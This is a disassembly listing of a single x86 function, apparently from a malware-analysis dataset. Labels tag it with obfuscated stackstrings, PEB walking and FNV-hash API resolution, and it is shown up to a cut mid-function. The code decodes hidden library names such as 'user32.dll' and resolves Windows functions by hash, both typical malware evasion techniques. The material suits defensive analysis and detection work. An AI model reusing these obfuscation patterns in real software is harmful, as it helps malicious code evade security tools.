Function at 0x4c4c80
Capabilities:
Access peb ldr_data
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Get number of processors
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x7b8
mov eax, dword [0x4db00c]
xor eax, esp
mov dword [esp + 0x7b4], eax
push esi
push edi
mov eax, dword [ebp + 8]
mov cl, 0x59
mov dword [esp + 0x28], eax
mov dl, 0x4f
mov byte [esp + 0x204], 0x2a
mov al, 0x5f
xor al, byte [esp + 0x204]
mov ah, 0x58
xor cl, byte [esp + 0x204]
mov ch, 0x19
mov byte [esp + 0x205], al
mov dh, 0x18
mov byte [esp + 0x206], cl
mov cl, byte [esp + 0x204]
mov byte [esp + 0x1b], 4
xor ah, cl
mov al, byte [esp + 0x1b]
xor dl, cl
xor al, cl
mov byte [esp + 0x13], 0x4e
mov byte [esp + 0x20b], al
xor ch, cl
mov al, byte [esp + 0x13]
xor dh, cl
xor al, cl
mov byte [esp + 0x12], 0x46
mov byte [esp + 0x20c], al
mov al, byte [esp + 0x12]
xor al, cl
mov byte [esp + 0x11], 0x46
mov byte [esp + 0x20d], al
mov al, byte [esp + 0x11]
xor al, cl
mov byte [esp + 0x208], ah
mov byte [esp + 0x20e], al
mov eax, dword fs:[0x30]
mov byte [esp + 0x20f], 0
mov byte [esp + 0x207], dl
mov byte [esp + 0x209], ch
mov byte [esp + 0x20a], dh
mov byte [esp + 0x20f], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x4c4dd8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c4dd8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x14], ecx
dec edi
mov esi, 0x3aa96ba2
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c4dcd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c4db0
cmp esi, 0x5571ab54
je 0x4c4ddc
mov ecx, dword [esp + 0x14]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c4d90
mov eax, dword [eax]
jmp 0x4c4d62
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x205]
add eax, edx
push ecx
call eax
mov dword [0x4db870], eax
mov cl, 0x68
mov byte [esp + 0x210], 0x1b
mov al, 0x4c
xor al, byte [esp + 0x210]
mov dl, 0x29
xor cl, byte [esp + 0x210]
mov ah, 0x44
mov byte [esp + 0x211], al
mov dh, dl
mov byte [esp + 0x212], cl
mov ch, 0x28
mov cl, byte [esp + 0x210]
mov byte [esp + 0x11], 0x35
xor ah, cl
mov al, byte [esp + 0x11]
xor dl, cl
xor al, cl
mov byte [esp + 0x12], 0x7f
mov byte [esp + 0x217], al
xor ch, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x13], 0x77
mov byte [esp + 0x218], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x1b], 0x77
mov byte [esp + 0x219], al
mov al, byte [esp + 0x1b]
xor al, cl
mov byte [esp + 0x214], ah
mov byte [esp + 0x21a], al
mov eax, dword fs:[0x30]
mov byte [esp + 0x21b], 0
mov byte [esp + 0x213], dl
mov byte [esp + 0x215], ch
mov byte [esp + 0x216], dh
mov byte [esp + 0x21b], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x4c4f38
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c4f38
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x961672f2
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c4f2d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c4f10
cmp esi, 0xf393fa44
je 0x4c4f3c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c4ef0
mov eax, dword [eax]
jmp 0x4c4ec5
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x211]
add eax, edx
push ecx
call eax
mov dword [0x4db868], eax
mov cl, 1
mov byte [esp + 0xa8], 0x56
mov al, 0x2c
xor al, byte [esp + 0xa8]
mov ch, 0x33
mov byte [esp + 0xa9], al
mov dl, 0xe
mov al, byte [esp + 0xa8]
mov ah, 5
xor cl, al
mov byte [esp + 0xaf], 0
xor ch, al
mov byte [esp + 0xaa], cl
mov dh, 0x26
mov byte [esp + 0xad], ch
xor dl, al
mov byte [esp + 0xaf], 0
xor ah, al
mov byte [esp + 0xab], dl
xor dh, al
mov byte [esp + 0xac], ah
lea ecx, [esp + 0x568]
mov byte [esp + 0xae], dh
call fcn.004b8a80
lea ecx, [esp + 0xa9]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c4fe2
sub ecx, edx
lea eax, [esp + 0xa9]
push ecx
push eax
lea ecx, [esp + 0x570]
call fcn.004b8710
mov byte [esp + 0x58], 8
mov al, 0x61
xor al, byte [esp + 0x58]
mov ch, 0x46
mov byte [esp + 0x59], al
mov dh, ch
mov al, byte [esp + 0x58]
mov cl, 0x4c
xor cl, al
mov byte [esp + 0x11], 0x63
xor ch, al
mov byte [esp + 0x5a], cl
mov dl, 0x65
mov byte [esp + 0x5d], ch
mov ah, 0x6b
mov byte [esp + 0x60], 0
xor dl, al
mov byte [esp + 0x60], 0
xor ah, al
mov byte [esp + 0x5b], dl
xor dh, al
mov byte [esp + 0x5c], ah
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x520]
xor al, byte [esp + 0x58]
mov byte [esp + 0x5e], dh
mov byte [esp + 0x5f], al
call fcn.004b8a80
lea ecx, [esp + 0x59]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5070
sub ecx, edx
lea eax, [esp + 0x59]
push ecx
push eax
lea ecx, [esp + 0x528]
call fcn.004b8710
mov byte [esp + 0x1a4], 0x62
mov al, 0x12
xor al, byte [esp + 0x1a4]
mov cl, 0x5a
xor cl, byte [esp + 0x1a4]
mov ah, 0x31
mov byte [esp + 0x1a5], al
mov ch, 0xf
mov byte [esp + 0x1a6], cl
mov dl, 0x17
mov cl, byte [esp + 0x1a4]
mov dh, 0x29
mov byte [esp + 0x11], 0x1b
xor ah, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0x36
mov byte [esp + 0x1ab], al
xor dl, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x1a8], ah
mov byte [esp + 0x1ac], al
lea eax, [esp + 0x1a5]
mov byte [esp + 0x1a9], ch
lea ecx, [esp + 0x520]
mov byte [esp + 0x1ad], 0
push eax
mov byte [esp + 0x1ab], dl
mov byte [esp + 0x1ae], dh
mov byte [esp + 0x1b1], 0
call fcn.004b8aa0
test al, al
je 0x4c5290
mov al, 0x77
mov byte [esp + 0x4c], 0x45
mov byte [esp + 0x11], al
mov cl, 0x37
xor al, byte [esp + 0x4c]
mov dl, 0x31
mov byte [esp + 0x4d], al
mov ah, 0x27
mov al, byte [esp + 0x4c]
mov ch, 0x11
xor cl, al
mov byte [esp + 0x54], 0
xor ch, al
mov byte [esp + 0x4e], cl
mov dh, 0x2b
mov byte [esp + 0x51], ch
xor dl, al
mov byte [esp + 0x54], 0
xor ah, al
mov byte [esp + 0x4f], dl
xor dh, al
mov byte [esp + 0x50], ah
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x508]
xor al, byte [esp + 0x4c]
mov byte [esp + 0x52], dh
mov byte [esp + 0x53], al
call fcn.004b8a80
lea ecx, [esp + 0x4d]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c51a0
sub ecx, edx
lea eax, [esp + 0x4d]
push ecx
push eax
lea ecx, [esp + 0x510]
call fcn.004b8710
mov cl, 0x22
mov byte [esp + 0x148], 0x1b
mov dh, cl
mov byte [esp + 0x11], 0x2d
xor cl, byte [esp + 0x148]
mov al, 0x59
xor al, byte [esp + 0x148]
mov ch, 0x2e
mov byte [esp + 0x149], al
mov dl, 0x5a
mov al, byte [esp + 0x11]
mov ah, 0x49
mov byte [esp + 0x14a], cl
mov cl, byte [esp + 0x148]
xor al, cl
mov byte [esp + 0x12], 0x42
mov byte [esp + 0x14f], al
xor dl, cl
mov al, byte [esp + 0x12]
xor ch, cl
xor al, cl
mov byte [esp + 0x13], 0x70
xor dh, cl
mov byte [esp + 0x150], al
mov al, byte [esp + 0x13]
xor ah, cl
xor al, cl
mov byte [esp + 0x14d], ch
lea ecx, [esp + 0x149]
mov byte [esp + 0x152], 0
mov byte [esp + 0x14b], dl
mov byte [esp + 0x14e], dh
lea edx, [ecx + 1]
mov byte [esp + 0x14c], ah
mov byte [esp + 0x151], al
mov byte [esp + 0x152], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5266
sub ecx, edx
lea eax, [esp + 0x149]
push ecx
push eax
lea ecx, [esp + 0x510]
call fcn.004b7cc0
lea ecx, [esp + 0x508]
call fcn.004b7630
lea ecx, [esp + 0x520]
call fcn.004b7630
lea ecx, [esp + 0x568]
call fcn.004b7630
mov cl, 0x61
mov dword [esp + 0x258], 0x13042a61
mov dword [esp + 0x25c], 0x520d040f
xor eax, eax
mov dword [esp + 0x260], 0xd054f53
mov word [esp + 0x264], 0xd
nop word [eax + eax]
xor byte [esp + eax + 0x259], cl
inc eax
cmp eax, 0xc
jae 0x4c52f6
mov cl, byte [esp + 0x258]
jmp 0x4c52e0
mov eax, dword fs:[0x30]
mov byte [esp + 0x265], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x4c5378
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c5378
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x2addcb6b
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c536d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c5350
cmp esi, 0xf1652e6d
je 0x4c537c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c5337
mov eax, dword [eax]
jmp 0x4c5310
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x259]
add eax, edx
push ecx
call eax
mov dword [0x4db86c], eax
mov cl, 0x5c
mov dword [esp + 0x248], 0x39340f5c
xor eax, eax
mov dword [esp + 0x24c], 0x6e6f3030
mov dword [esp + 0x250], 0x30303872
mov byte [esp + 0x254], 0
xor byte [esp + eax + 0x249], cl
inc eax
cmp eax, 0xb
jae 0x4c53e9
mov cl, byte [esp + 0x248]
jmp 0x4c53d3
mov eax, dword fs:[0x30]
mov byte [esp + 0x254], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x4c5468
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c5468
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x64070f8a
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c545d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c5440
cmp esi, 0xb1556c0c
je 0x4c546c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c5427
mov eax, dword [eax]
jmp 0x4c5400
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x249]
add eax, edx
push ecx
call eax
mov byte [esp + 0x40], 0x1d
mov al, 0x29
xor al, byte [esp + 0x40]
mov cl, 0x4a
mov byte [esp + 0x41], al
mov dl, 0x7e
mov al, byte [esp + 0x40]
mov ah, 0x5e
xor cl, al
mov byte [esp + 0x11], 0x5a
mov ch, 0x7c
mov byte [esp + 0x42], cl
xor ch, al
mov byte [esp + 0x48], 0
mov dh, 0x28
mov byte [esp + 0x45], ch
xor dl, al
mov byte [esp + 0x48], 0
xor ah, al
mov byte [esp + 0x43], dl
xor dh, al
mov byte [esp + 0x44], ah
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x538]
xor al, byte [esp + 0x40]
mov byte [esp + 0x46], dh
mov byte [esp + 0x47], al
call fcn.004b8a80
lea ecx, [esp + 0x41]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5500
sub ecx, edx
lea eax, [esp + 0x41]
push ecx
push eax
lea ecx, [esp + 0x540]
call fcn.004b8710
mov byte [esp + 0x1bc], 0x71
mov al, 3
xor al, byte [esp + 0x1bc]
mov cl, 0x14
xor cl, byte [esp + 0x1bc]
mov ch, 0x23
mov byte [esp + 0x1bd], al
mov dl, 0x12
mov byte [esp + 0x1be], cl
mov ah, 0x1c
mov cl, byte [esp + 0x1bc]
mov dh, 0x27
mov byte [esp + 0x11], 0x22
xor ch, cl
mov al, byte [esp + 0x11]
xor dl, cl
xor al, cl
mov byte [esp + 0x12], 0x18
mov byte [esp + 0x1c3], al
xor ah, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x13], 0x17
mov byte [esp + 0x1c4], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x1b], 0x33
mov byte [esp + 0x1c5], al
mov al, byte [esp + 0x1b]
xor al, cl
mov byte [esp + 0x1c1], ch
mov byte [esp + 0x1c7], 0
lea ecx, [esp + 0x418]
mov byte [esp + 0x1bf], dl
mov byte [esp + 0x1c0], ah
mov byte [esp + 0x1c2], dh
mov byte [esp + 0x1c6], al
mov byte [esp + 0x1c7], 0
call fcn.004b8a80
lea ecx, [esp + 0x1bd]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c55e4
sub ecx, edx
lea eax, [esp + 0x1bd]
push ecx
push eax
lea ecx, [esp + 0x420]
call fcn.004b8710
mov byte [esp + 0xb0], 0x4f
mov al, 0x39
xor al, byte [esp + 0xb0]
mov cl, 0x1d
mov ch, 0x2d
mov byte [esp + 0xb1], al
mov al, byte [esp + 0xb0]
mov dl, 0x2e
xor cl, al
mov byte [esp + 0xb7], 0
xor ch, al
mov byte [esp + 0xb2], cl
mov ah, 4
mov byte [esp + 0xb5], ch
mov dh, 0x77
mov byte [esp + 0xb7], 0
xor dl, al
lea ecx, [esp + 0xb1]
xor ah, al
mov byte [esp + 0xb3], dl
xor dh, al
mov byte [esp + 0xb4], ah
mov byte [esp + 0xb6], dh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5672
sub ecx, edx
lea eax, [esp + 0xb1]
push ecx
push eax
lea ecx, [esp + 0x420]
call fcn.004b7e50
mov byte [esp + 0x19c], 0x78
mov al, 0x14
xor al, byte [esp + 0x19c]
mov ah, 0x31
mov dh, ah
mov byte [esp + 0x19d], al
mov al, byte [esp + 0x19c]
mov cl, 0x3f
mov dl, 0x22
mov byte [esp + 0x1a3], 0
mov ch, 8
mov byte [esp + 0x1a3], 0
xor cl, al
xor dl, al
xor ch, al
mov byte [esp + 0x19e], cl
xor dh, al
mov byte [esp + 0x19f], dl
xor ah, al
mov byte [esp + 0x1a1], ch
mov byte [esp + 0x1a2], dh
lea ecx, [esp + 0x19d]
lea edx, [esp + 0x418]
mov byte [esp + 0x1a0], ah
call fcn.004b8410
test al, al
je 0x4c57ce
mov byte [esp + 0x100], 0x3a
mov cl, 0x50
xor cl, byte [esp + 0x100]
mov al, 0x6d
xor al, byte [esp + 0x100]
mov ch, 0x4e
mov byte [esp + 0x101], al
mov dl, 0x59
mov byte [esp + 0x102], cl
mov dh, 0x56
mov cl, byte [esp + 0x100]
mov ah, 0x55
mov byte [esp + 0x11], 0x5e
xor dl, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0x5c
xor dh, cl
mov byte [esp + 0x107], al
mov al, byte [esp + 0x12]
xor ah, cl
xor al, cl
mov byte [esp + 0x105], ch
lea ecx, [esp + 0x101]
mov byte [esp + 0x109], 0
mov byte [esp + 0x103], dl
mov byte [esp + 0x106], dh
lea edx, [ecx + 1]
mov byte [esp + 0x104], ah
mov byte [esp + 0x108], al
mov byte [esp + 0x109], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c57b0
sub ecx, edx
lea eax, [esp + 0x101]
push ecx
push eax
lea ecx, [esp + 0x540]
call fcn.004b7cc0
lea ecx, [esp + 0x418]
call fcn.004b7630
lea ecx, [esp + 0x538]
call fcn.004b7630
mov cl, 0x7e
mov dword [esp + 0x238], 0x171a397e
mov dword [esp + 0x23c], 0xd0b120e
xor eax, eax
mov dword [esp + 0x240], 0x12121a50
mov byte [esp + 0x244], 0
xor byte [esp + eax + 0x239], cl
inc eax
cmp eax, 0xb
jae 0x4c5829
mov cl, byte [esp + 0x238]
jmp 0x4c5813
mov eax, dword fs:[0x30]
mov byte [esp + 0x244], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x4c58a8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c58a8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x1841f298
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c589d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c5880
cmp esi, 0xa5ff8a5a
je 0x4c58ac
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c5867
mov eax, dword [eax]
jmp 0x4c5840
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x239]
add eax, edx
push ecx
call eax
mov byte [esp + 0x154], 0x35
mov al, 7
xor al, byte [esp + 0x154]
mov cl, 0x77
xor cl, byte [esp + 0x154]
mov ch, 0x61
mov byte [esp + 0x155], al
mov dl, 2
mov byte [esp + 0x156], cl
mov ah, 0x41
mov cl, byte [esp + 0x154]
mov dh, 4
mov byte [esp + 0x11], 0x4c
xor ch, cl
mov al, byte [esp + 0x11]
xor dl, cl
xor al, cl
mov byte [esp + 0x12], 0x45
mov byte [esp + 0x15b], al
xor ah, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x13], 3
mov byte [esp + 0x15c], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x159], ch
mov byte [esp + 0x15e], 0
lea ecx, [esp + 0x4c0]
mov byte [esp + 0x157], dl
mov byte [esp + 0x158], ah
mov byte [esp + 0x15a], dh
mov byte [esp + 0x15d], al
mov byte [esp + 0x15e], 0
call fcn.004b8a80
lea ecx, [esp + 0x155]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5988
sub ecx, edx
lea eax, [esp + 0x155]
push ecx
push eax
lea ecx, [esp + 0x4c8]
call fcn.004b8710
mov byte [esp + 0x34], 0x59
mov al, 0x37
xor al, byte [esp + 0x34]
mov cl, 0x68
mov byte [esp + 0x35], al
mov dl, 0x2f
mov al, byte [esp + 0x34]
mov ah, 0x33
xor cl, al
mov byte [esp + 0x11], 0x11
mov ch, 0x3d
mov byte [esp + 0x36], cl
xor ch, al
mov byte [esp + 0x3c], 0
mov dh, 0x2d
mov byte [esp + 0x39], ch
xor dl, al
mov byte [esp + 0x3c], 0
xor ah, al
mov byte [esp + 0x37], dl
xor dh, al
mov byte [esp + 0x38], ah
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x478]
xor al, byte [esp + 0x34]
mov byte [esp + 0x3a], dh
mov byte [esp + 0x3b], al
call fcn.004b8a80
lea ecx, [esp + 0x35]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5a10
sub ecx, edx
lea eax, [esp + 0x35]
push ecx
push eax
lea ecx, [esp + 0x480]
call fcn.004b8710
mov byte [esp + 0x10c], 0x55
mov cl, 0x6c
xor cl, byte [esp + 0x10c]
mov al, 0x22
xor al, byte [esp + 0x10c]
mov dh, 0x1f
mov byte [esp + 0x10d], al
xor dl, dl
mov byte [esp + 0x11], dh
mov ch, 0x17
mov al, byte [esp + 0x11]
mov ah, 0x23
mov byte [esp + 0x10e], cl
mov cl, byte [esp + 0x10c]
xor al, cl
mov byte [esp + 0x115], dl
xor dl, cl
mov byte [esp + 0x113], al
xor ch, cl
mov byte [esp + 0x12], 0x61
mov al, byte [esp + 0x12]
xor dh, cl
xor ah, cl
mov byte [esp + 0x111], ch
xor al, cl
mov byte [esp + 0x10f], dl
lea ecx, [esp + 0x10d]
mov byte [esp + 0x112], dh
mov byte [esp + 0x110], ah
lea edx, [ecx + 1]
mov byte [esp + 0x114], al
mov byte [esp + 0x115], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5ac2
sub ecx, edx
lea eax, [esp + 0x10d]
push ecx
push eax
lea ecx, [esp + 0x480]
call fcn.004b7e50
mov byte [esp + 0x124], 0x1a
mov al, 0x7b
xor al, byte [esp + 0x124]
mov cl, 0x54
mov byte [esp + 0x125], al
mov dl, 0x58
mov al, byte [esp + 0x124]
mov ch, 0x53
xor cl, al
mov byte [esp + 0x11], 0x6e
xor dl, al
mov byte [esp + 0x126], cl
xor ch, al
mov byte [esp + 0x127], dl
mov dh, 0x57
mov byte [esp + 0x129], ch
xor dh, al
mov byte [esp + 0x12c], 0
mov ah, 0x2a
mov byte [esp + 0x12a], dh
xor ah, al
mov byte [esp + 0x12c], 0
mov al, byte [esp + 0x11]
lea edx, [esp + 0x478]
xor al, byte [esp + 0x124]
lea ecx, [esp + 0x125]
mov byte [esp + 0x128], ah
mov byte [esp + 0x12b], al
call fcn.004b8410
test al, al
je 0x4c5c52
mov byte [esp + 0x1c8], 0x5f
mov cl, 0x68
xor cl, byte [esp + 0x1c8]
mov al, 0x1d
xor al, byte [esp + 0x1c8]
mov ch, 0xd
mov byte [esp + 0x1c9], al
mov dl, 0x14
mov byte [esp + 0x1ca], cl
mov dh, 0x26
mov cl, byte [esp + 0x1c8]
mov ah, 0x6c
mov byte [esp + 0x11], 0x2a
xor dl, cl
mov al, byte [esp + 0x11]
xor dh, cl
xor al, cl
mov byte [esp + 0x12], 0x1e
mov byte [esp + 0x1cf], al
xor ah, cl
mov al, byte [esp + 0x12]
xor al, cl
mov byte [esp + 0x13], 0x10
mov byte [esp + 0x1d0], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x1b], ch
xor ch, cl
mov byte [esp + 0x1d1], al
mov al, byte [esp + 0x1b]
xor al, cl
mov byte [esp + 0x1cd], ch
lea ecx, [esp + 0x1c9]
mov byte [esp + 0x1d3], 0
mov byte [esp + 0x1cb], dl
mov byte [esp + 0x1ce], dh
lea edx, [ecx + 1]
mov byte [esp + 0x1cc], ah
mov byte [esp + 0x1d2], al
mov byte [esp + 0x1d3], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5c34
sub ecx, edx
lea eax, [esp + 0x1c9]
push ecx
push eax
lea ecx, [esp + 0x4c8]
call fcn.004b7cc0
lea ecx, [esp + 0x478]
call fcn.004b7630
lea ecx, [esp + 0x4c0]
call fcn.004b7630
mov byte [esp + 0x1ec], 0x2d
mov cl, 0x49
mov al, 0x6a
mov byte [esp + 0x11], cl
xor al, byte [esp + 0x1ec]
mov ah, 0x1e
xor cl, byte [esp + 0x1ec]
mov dl, 0x44
mov byte [esp + 0x1ed], al
mov ch, 0x1f
mov al, byte [esp + 0x11]
mov dh, 3
mov byte [esp + 0x1ee], cl
mov cl, byte [esp + 0x1ec]
xor al, cl
mov byte [esp + 0x12], 0x41
mov byte [esp + 0x1f3], al
xor ah, cl
mov al, byte [esp + 0x12]
xor dl, cl
xor al, cl
mov byte [esp + 0x13], 0x41
mov byte [esp + 0x1f4], al
xor ch, cl
mov al, byte [esp + 0x13]
xor dh, cl
xor al, cl
mov byte [esp + 0x1f0], ah
mov byte [esp + 0x1f5], al
mov eax, dword fs:[0x30]
mov byte [esp + 0x1f6], 0
mov byte [esp + 0x1ef], dl
mov byte [esp + 0x1f1], ch
mov byte [esp + 0x1f2], dh
mov byte [esp + 0x1f6], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x4c5d88
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c5d88
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x5ce2fdab
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c5d7d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c5d60
cmp esi, 0x21a8b9ad
je 0x4c5d8c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c5d40
mov eax, dword [eax]
jmp 0x4c5d16
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x1ed]
add eax, edx
push ecx
call eax
mov dword [0x4db880], eax
mov cl, 0x38
mov byte [esp + 0xa0], 0x68
mov al, 0x3e
xor al, byte [esp + 0xa0]
mov ch, 0xf
mov byte [esp + 0xa1], al
mov dl, 0x3c
mov al, byte [esp + 0xa0]
mov ah, 0x32
xor cl, al
mov byte [esp + 0xa7], 0
xor ch, al
mov byte [esp + 0xa2], cl
mov dh, 0x5e
mov byte [esp + 0xa5], ch
xor dl, al
mov byte [esp + 0xa7], 0
xor ah, al
mov byte [esp + 0xa3], dl
xor dh, al
mov byte [esp + 0xa4], ah
lea ecx, [esp + 0x490]
mov byte [esp + 0xa6], dh
call fcn.004b8a80
lea ecx, [esp + 0xa1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5e32
sub ecx, edx
lea eax, [esp + 0xa1]
push ecx
push eax
lea ecx, [esp + 0x498]
call fcn.004b8710
mov byte [esp + 0x160], 0x60
mov cl, 0x30
xor cl, byte [esp + 0x160]
mov al, 0x54
xor al, byte [esp + 0x160]
mov ch, 0x15
